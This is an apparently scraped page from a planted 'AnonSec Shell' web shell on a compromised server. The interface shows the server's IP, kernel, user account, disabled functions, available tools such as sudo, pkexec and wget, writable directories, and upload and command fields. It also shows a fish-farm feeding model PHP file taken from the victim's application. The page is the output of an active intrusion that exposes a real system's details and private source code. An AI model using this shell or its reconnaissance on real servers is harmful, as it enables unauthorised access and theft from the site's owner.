AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/leve/application/plugins/module_fish/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/leve/application/plugins/module_fish/models/FeedingModel.php
<?php

include_once __DIR__ . "/../../../autoload/My_Model.php";
include_once __DIR__ . "/../factories/FeedingFactory.php";

class FeedingModel extends My_Model
{
    /**
     * @var string
     */
    public $table = 'module_fish_feeding';

    /**
     * @param array $data
     * @return bool|ORM
     */
    public function createFeeding($data)
    {
        $foodPrograms = self::create();
        FeedingFactory::create($data, $foodPrograms, true);
        $foodPrograms->save();

        return $foodPrograms;
    }

    /**
     * @param array $data
     * @param ORM $foodPrograms
     * @return bool|ORM
     */
    public function updateFeeding($data, $foodPrograms)
    {
        ORM::for_table($this->table)->create($foodPrograms);
        FeedingFactory::create($data, $foodPrograms);
        $foodPrograms->save();

        return $foodPrograms;
    }

    public function insertPeriod($data,$food){
        ORM::for_table('module_fish_food_program_periods')->where('module_fish_food_programs_id', $food->id)->delete_many();
        for ($i=0; $i<count($data['sys_item_id']);$i++){
            $d = ORM::for_table('module_fish_food_program_periods')->create();
            $d->module_fish_food_programs_id=$food->id;
            $d->period =intval($data['period'][$i]);
            $d->period_total =intval($data['period_total'][$i]);
            $d->sys_item_id = intval($data['sys_item_id'][$i]);
            $d->number_deals = intval($data['number_deals'][$i]);
            $d->weight_of = intval($data['weight_of'][$i])/1000; //para guardar em KG
            $d->weight_up = intval($data['weight_up'][$i])/1000; //para guardar em KG
            $d->mortality_rate = intval($data['mortality_rate'][$i]);
            $d->biomass =Finance::amount_fix($data['biomass'][$i]);
            $d->pv =Finance::amount_fix($data['pv'][$i]);
            $d->gpd = intval($data['gpd'][$i])/1000; 
            $d->consumption_day =Finance::amount_fix($data['consumption_day'][$i]);
            $d->tca =Finance::amount_fix($data['tca'][$i]);
            $d->created_at=$food->created_at;
            $d->save();
        }
    }
    /**
     * @param ORM $foodPrograms
     * @return bool|ORM
     */
    public function deleteFeeding($foodPrograms)
    {
        ORM::for_table($this->table)->create($foodPrograms);

        $now = new DateTime('now', new DateTimeZone('America/Sao_Paulo'));

        $foodPrograms->deleted_at = $now->format('Y-m-d H:i:s');
        $foodPrograms->save();

        return $foodPrograms;
    }
}

Anon7 - 2022
AnonSec Team